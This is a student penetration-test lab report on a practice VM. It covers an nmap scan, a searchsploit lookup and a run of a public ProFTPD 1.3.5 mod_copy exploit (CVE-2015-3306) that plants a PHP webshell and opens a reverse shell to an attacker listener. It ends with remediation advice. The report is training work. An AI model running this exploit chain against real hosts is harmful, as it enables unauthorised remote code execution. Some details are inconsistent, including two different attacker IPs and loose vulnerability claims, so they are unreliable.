

# TASK-4

Description: Use the provided Drive link to download the OVA file and run it as a virtual machine in VirtualBox or similar software. Solve the challenge, then prepare a professional vulnerability report with screenshots, explaining each step, its purpose, and the findings. The report should be clear, concise, and well-structured so it can be understood without prior knowledge of the challenge.

# Project Report:

## Vulnerability Assessment

Target IP Address: 192.168.0.101

### Executive Summary:

A vulnerability assessment were performed on the target system (192.168.0.101) to identify security weaknesses. The assessment revealed Critical vulnerabilities, primarily concerning the ProFTPD service. The system is running severely outdated and vulnerable software, allowing an unauthenticated remote attacker to gain Remote Code Execution (RCE) and establish a persistent shell on the host. Immediate patching and service configuration review are mandatory to mitigate critical risk.

### Methodology and Findings :

- ip -4 addr show  
Identify assessor IP and find live hosts on the network.  
Target host 192.168.0.101 identified as active.
- nmap -sV 192.168.0.101  
Service enumeration to determine open ports and software versions

### Critical Vulnerability Analysis:

The service scan identified ProFTPD 1.3.5 running on port 21/tcp. This version is known to be critically vulnerable.

**“ 21/tcp ftp ProFTPD 1.3.5  
CVE-2015-3306  
10.0 (CRITICAL) ”**

Unauthenticated Remote Code Execution (RCE) due to an Improper Access Control vulnerability in the mod\_copy module's SITE CPFR/CPTO commands. Allows an attacker to copy arbitrary files to any location, including a web-accessible folder to execute code.

### Exploitation Attempt :

- searchsploit ProFTPD 1.3.5  
Confirmed the existence of a high-confidence, public exploit for the RCE vulnerability (EDB-ID: 36803)
- python3 exploit\_proftd\_1\_3\_5.py 192.168.0.101 /var/www/html 192.168.1.84 8888  
Exploitation Successful. The script utilized the mod\_copy vulnerability to upload a malicious payload (a PHP webshell) to the web-accessible directory (/var/www/html/) and likely executed it, resulting in a reverse shell session to the listener on 192.168.1.84:8888..

## Secondary Vulnerabilities:

- **22/tcp ssh OpenSSH 6.6.1p1**  
Outdated version with known vulnerabilities (e.g., in the 6.6 range). Update immediately to the latest stable version (e.g., 9.0p+).
- **80/tcp http Apache httpd 2.4.7**  
Outdated. Contains multiple vulnerabilities (e.g., Denial of Service, improper handling of headers). Update immediately to the latest 2.4.x version.
- **445/tcp netbios-ssn Samba smbd 3.X - 4.X**  
The broad version range suggests a high likelihood of vulnerabilities like SambaCry/EternalBlue-related flaws (e.g., CVE-2017-7494). Update Samba to the latest stable version.
- **8080/tcp http Jetty 8.1.7.v20120910**  
Very old version. Update or remove this service if it is not essential.
- **3306/tcp mysql MySQL (unauthorized)**  
This version is unauthorized, suggesting a lack of security best practices. Patch/Upgrade to a supported version and restrict access to localhost only.

```
Session Actions Edit View Help
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 04:07 EDT
Nmap scan report for 192.168.0.101
Host is up (0.0014s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.5
22/tcp    open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux
; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.7
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp   open  ipp      CUPS 1.7
3000/tcp  closed ppp
3306/tcp  open  mysql    MySQL (unauthorized)
8080/tcp  open  http     Jetty 8.1.7.v20120910
8181/tcp  closed intermapper
MAC Address: 08:00:27:B7:ED:F5 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
Service Info: Hosts: 127.0.0.1, UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:
linux_kernel

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.17 seconds
```

```
(kali@kali)-[~]
$ searchsploit ProFTPD 1.3.5
```

| Exploit Title                             | Path                   |
|-------------------------------------------|------------------------|
| ProFTPD 1.3.5 - 'mod_copy' Command Execut | linux/remote/37262.rb  |
| ProFTPD 1.3.5 - 'mod_copy' Remote Command | linux/remote/36803.py  |
| ProFTPD 1.3.5 - 'mod_copy' Remote Command | linux/remote/49908.py  |
| ProFTPD 1.3.5 - File Copy                 | linux/remote/36742.txt |

```
Shellcodes: No Results
(kali@kali)-[~]
$
```

192.168.0.101/pealthe.php

proftpd: 192.168.0.102:34874: SITE CPTO /tmp/.  
Warning: passthru(): Cannot execute a blank command in /var/www/html/pealthe.php on line 1